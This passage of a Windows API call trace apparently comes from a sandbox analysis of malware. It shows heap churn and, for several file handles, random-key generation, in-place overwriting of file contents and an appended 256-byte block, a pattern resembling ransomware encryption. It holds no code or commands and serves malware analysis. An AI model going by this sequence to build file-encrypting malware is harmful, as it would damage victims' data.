returned 0x3340258 [0086.017] GetProcessHeap () returned 0x540000 [0086.017] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.017] GetProcessHeap () returned 0x540000 [0086.017] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.017] GetProcessHeap () returned 0x540000 [0086.017] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.017] GetProcessHeap () returned 0x540000 [0086.017] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.017] GetProcessHeap () returned 0x540000 [0086.017] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.017] GetProcessHeap () returned 0x540000 [0086.017] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.017] GetProcessHeap () returned 0x540000 [0086.017] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.017] GetProcessHeap () returned 0x540000 [0086.017] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.018] GetProcessHeap () returned 0x540000 [0086.018] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.018] GetProcessHeap () returned 0x540000 [0086.018] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.018] GetProcessHeap () returned 0x540000 [0086.018] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.018] GetProcessHeap () returned 0x540000 [0086.018] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.018] GetProcessHeap () returned 0x540000 [0086.018] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.018] GetProcessHeap () returned 0x540000 [0086.018] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.018] GetProcessHeap () returned 0x540000 [0086.018] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.018] GetProcessHeap () returned 0x540000 [0086.018] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.018] GetProcessHeap () returned 0x540000 [0086.018] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.018] GetProcessHeap () returned 0x540000 [0086.018] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.018] GetProcessHeap () returned 0x540000 [0086.018] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.018] GetProcessHeap () returned 0x540000 [0086.018] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.018] GetProcessHeap () returned 0x540000 [0086.018] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.018] GetProcessHeap () returned 0x540000 [0086.018] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0086.018] GetProcessHeap () returned 0x540000 [0086.018] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.019] GetProcessHeap () returned 0x540000 [0086.019] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0086.019] GetProcessHeap () returned 0x540000 [0086.019] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f280 | out: hHeap=0x540000) returned 1 [0086.019] GetProcessHeap () returned 0x540000 [0086.019] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.019] GetProcessHeap () returned 0x540000 [0086.019] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0086.019] SetFilePointerEx (in: hFile=0x8e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.019] WriteFile (in: hFile=0x8e8, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0086.061] WriteFile (in: hFile=0x8e8, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0086.061] GetProcessHeap () returned 0x540000 [0086.061] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0086.061] GetProcessHeap () returned 0x540000 [0086.061] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0086.061] GetProcessHeap () returned 0x540000 [0086.061] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0086.061] CloseHandle (hObject=0x8e8) returned 1 [0086.065] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 93 [0086.168] SetFilePointerEx (in: hFile=0x910, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.168] ReadFile (in: hFile=0x910, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0086.168] SetFilePointerEx (in: hFile=0x910, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.168] GetProcessHeap () returned 0x540000 [0086.168] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0086.168] GetProcessHeap () returned 0x540000 [0086.168] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ea88 [0086.168] SystemFunction036 (in: RandomBuffer=0x331ea88, RandomBufferLength=0x20 | out: RandomBuffer=0x331ea88) returned 1 [0086.168] GetProcessHeap () returned 0x540000 [0086.168] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33437c8 [0086.169] ReadFile (in: hFile=0x910, lpBuffer=0x33437c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x33437c8*, lpNumberOfBytesRead=0x2c5fd08*=0x86, lpOverlapped=0x0) returned 1 [0086.171] SetFilePointerEx (in: hFile=0x910, liDistanceToMove=0xffffff7a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.171] WriteFile (in: hFile=0x910, lpBuffer=0x33437c8*, nNumberOfBytesToWrite=0x86, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x33437c8*, lpNumberOfBytesWritten=0x2c5fd44*=0x86, lpOverlapped=0x0) returned 1 [0086.171] GetProcessHeap () returned 0x540000 [0086.171] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0086.171] GetProcessHeap () returned 0x540000 [0086.171] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.171] GetProcessHeap () returned 0x540000 [0086.172] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ef10 [0086.172] GetProcessHeap () returned 0x540000 [0086.172] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.172] GetProcessHeap () returned 0x540000 [0086.172] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0086.172] GetProcessHeap () returned 0x540000 [0086.172] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.172] GetProcessHeap () returned 0x540000 [0086.172] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.172] GetProcessHeap () returned 0x540000 [0086.172] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.172] GetProcessHeap () returned 0x540000 [0086.172] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.172] GetProcessHeap () returned 0x540000 [0086.172] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.172] GetProcessHeap () returned 0x540000 [0086.172] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.172] GetProcessHeap () returned 0x540000 [0086.172] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.172] GetProcessHeap () returned 0x540000 [0086.172] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.172] GetProcessHeap () returned 0x540000 [0086.172] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.172] GetProcessHeap () returned 0x540000 [0086.172] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.172] GetProcessHeap () returned 0x540000 [0086.172] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.172] GetProcessHeap () returned 0x540000 [0086.172] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.172] GetProcessHeap () returned 0x540000 [0086.172] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.172] GetProcessHeap () returned 0x540000 [0086.172] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.172] GetProcessHeap () returned 0x540000 [0086.172] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.172] GetProcessHeap () returned 0x540000 [0086.172] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.172] GetProcessHeap () returned 0x540000 [0086.172] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.173] GetProcessHeap () returned 0x540000 [0086.173] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.173] GetProcessHeap () returned 0x540000 [0086.173] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.173] GetProcessHeap () returned 0x540000 [0086.173] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.173] GetProcessHeap () returned 0x540000 [0086.173] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.173] GetProcessHeap () returned 0x540000 [0086.173] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.173] GetProcessHeap () returned 0x540000 [0086.173] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.173] GetProcessHeap () returned 0x540000 [0086.173] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.173] GetProcessHeap () returned 0x540000 [0086.173] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.173] GetProcessHeap () returned 0x540000 [0086.173] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.173] GetProcessHeap () returned 0x540000 [0086.173] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.173] GetProcessHeap () returned 0x540000 [0086.173] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.173] GetProcessHeap () returned 0x540000 [0086.173] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.173] GetProcessHeap () returned 0x540000 [0086.173] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.173] GetProcessHeap () returned 0x540000 [0086.173] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.173] GetProcessHeap () returned 0x540000 [0086.173] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.173] GetProcessHeap () returned 0x540000 [0086.173] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.173] GetProcessHeap () returned 0x540000 [0086.173] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0086.173] GetProcessHeap () returned 0x540000 [0086.173] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.173] GetProcessHeap () returned 0x540000 [0086.173] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0086.173] GetProcessHeap () returned 0x540000 [0086.173] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0086.174] GetProcessHeap () returned 0x540000 [0086.174] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0086.174] GetProcessHeap () returned 0x540000 [0086.174] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0086.174] GetProcessHeap () returned 0x540000 [0086.174] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0086.174] GetProcessHeap () returned 0x540000 [0086.174] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0086.174] GetProcessHeap () returned 0x540000 [0086.174] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.174] GetProcessHeap () returned 0x540000 [0086.174] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0086.174] GetProcessHeap () returned 0x540000 [0086.174] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.174] GetProcessHeap () returned 0x540000 [0086.174] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.174] GetProcessHeap () returned 0x540000 [0086.174] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.174] GetProcessHeap () returned 0x540000 [0086.174] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.174] GetProcessHeap () returned 0x540000 [0086.174] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.174] GetProcessHeap () returned 0x540000 [0086.174] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.174] GetProcessHeap () returned 0x540000 [0086.174] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.174] GetProcessHeap () returned 0x540000 [0086.174] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.174] GetProcessHeap () returned 0x540000 [0086.174] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.175] GetProcessHeap () returned 0x540000 [0086.175] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.175] GetProcessHeap () returned 0x540000 [0086.175] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.175] GetProcessHeap () returned 0x540000 [0086.175] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.175] GetProcessHeap () returned 0x540000 [0086.175] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.175] GetProcessHeap () returned 0x540000 [0086.175] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.175] GetProcessHeap () returned 0x540000 [0086.175] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.175] GetProcessHeap () returned 0x540000 [0086.175] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.175] GetProcessHeap () returned 0x540000 [0086.175] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.175] GetProcessHeap () returned 0x540000 [0086.175] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.175] GetProcessHeap () returned 0x540000 [0086.175] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.175] GetProcessHeap () returned 0x540000 [0086.175] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.175] GetProcessHeap () returned 0x540000 [0086.175] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.175] GetProcessHeap () returned 0x540000 [0086.175] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.175] GetProcessHeap () returned 0x540000 [0086.175] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.175] GetProcessHeap () returned 0x540000 [0086.175] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.176] GetProcessHeap () returned 0x540000 [0086.176] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0086.176] GetProcessHeap () returned 0x540000 [0086.176] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.176] GetProcessHeap () returned 0x540000 [0086.176] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0086.176] GetProcessHeap () returned 0x540000 [0086.176] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0086.176] GetProcessHeap () returned 0x540000 [0086.176] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.176] GetProcessHeap () returned 0x540000 [0086.176] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0086.176] SetFilePointerEx (in: hFile=0x910, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.176] WriteFile (in: hFile=0x910, lpBuffer=0x3345b00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345b00*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0086.176] WriteFile (in: hFile=0x910, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0086.176] GetProcessHeap () returned 0x540000 [0086.176] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33437c8 | out: hHeap=0x540000) returned 1 [0086.176] GetProcessHeap () returned 0x540000 [0086.176] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0086.176] GetProcessHeap () returned 0x540000 [0086.176] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0086.176] CloseHandle (hObject=0x910) returned 1 [0086.178] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 101 [0086.311] SetFilePointerEx (in: hFile=0x938, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.311] ReadFile (in: hFile=0x938, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0086.311] SetFilePointerEx (in: hFile=0x938, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.311] GetProcessHeap () returned 0x540000 [0086.311] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0086.311] GetProcessHeap () returned 0x540000 [0086.311] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0086.311] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0086.311] GetProcessHeap () returned 0x540000 [0086.311] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33437c8 [0086.311] ReadFile (in: hFile=0x938, lpBuffer=0x33437c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x33437c8*, lpNumberOfBytesRead=0x2c5fd08*=0x1000, lpOverlapped=0x0) returned 1 [0086.391] SetFilePointerEx (in: hFile=0x938, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.391] WriteFile (in: hFile=0x938, lpBuffer=0x33437c8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x33437c8*, lpNumberOfBytesWritten=0x2c5fd44*=0x1000, lpOverlapped=0x0) returned 1 [0086.392] GetProcessHeap () returned 0x540000 [0086.392] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0086.392] GetProcessHeap () returned 0x540000 [0086.392] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.392] GetProcessHeap () returned 0x540000 [0086.392] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0086.392] GetProcessHeap () returned 0x540000 [0086.392] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.392] GetProcessHeap () returned 0x540000 [0086.392] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0086.392] GetProcessHeap () returned 0x540000 [0086.392] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.392] GetProcessHeap () returned 0x540000 [0086.392] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.392] GetProcessHeap () returned 0x540000 [0086.392] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.392] GetProcessHeap () returned 0x540000 [0086.392] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.392] GetProcessHeap () returned 0x540000 [0086.392] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.392] GetProcessHeap () returned 0x540000 [0086.392] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.392] GetProcessHeap () returned 0x540000 [0086.392] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.392] GetProcessHeap () returned 0x540000 [0086.392] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.392] GetProcessHeap () returned 0x540000 [0086.392] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.392] GetProcessHeap () returned 0x540000 [0086.392] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.392] GetProcessHeap () returned 0x540000 [0086.392] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.392] GetProcessHeap () returned 0x540000 [0086.392] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.392] GetProcessHeap () returned 0x540000 [0086.392] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.392] GetProcessHeap () returned 0x540000 [0086.393] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.393] GetProcessHeap () returned 0x540000 [0086.393] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.393] GetProcessHeap () returned 0x540000 [0086.393] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.393] GetProcessHeap () returned 0x540000 [0086.393] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.393] GetProcessHeap () returned 0x540000 [0086.393] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.393] GetProcessHeap () returned 0x540000 [0086.393] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.393] GetProcessHeap () returned 0x540000 [0086.393] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.393] GetProcessHeap () returned 0x540000 [0086.393] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.393] GetProcessHeap () returned 0x540000 [0086.393] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.393] GetProcessHeap () returned 0x540000 [0086.393] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.393] GetProcessHeap () returned 0x540000 [0086.393] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.393] GetProcessHeap () returned 0x540000 [0086.393] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.393] GetProcessHeap () returned 0x540000 [0086.393] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.393] GetProcessHeap () returned 0x540000 [0086.393] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.393] GetProcessHeap () returned 0x540000 [0086.393] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.393] GetProcessHeap () returned 0x540000 [0086.393] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.393] GetProcessHeap () returned 0x540000 [0086.393] 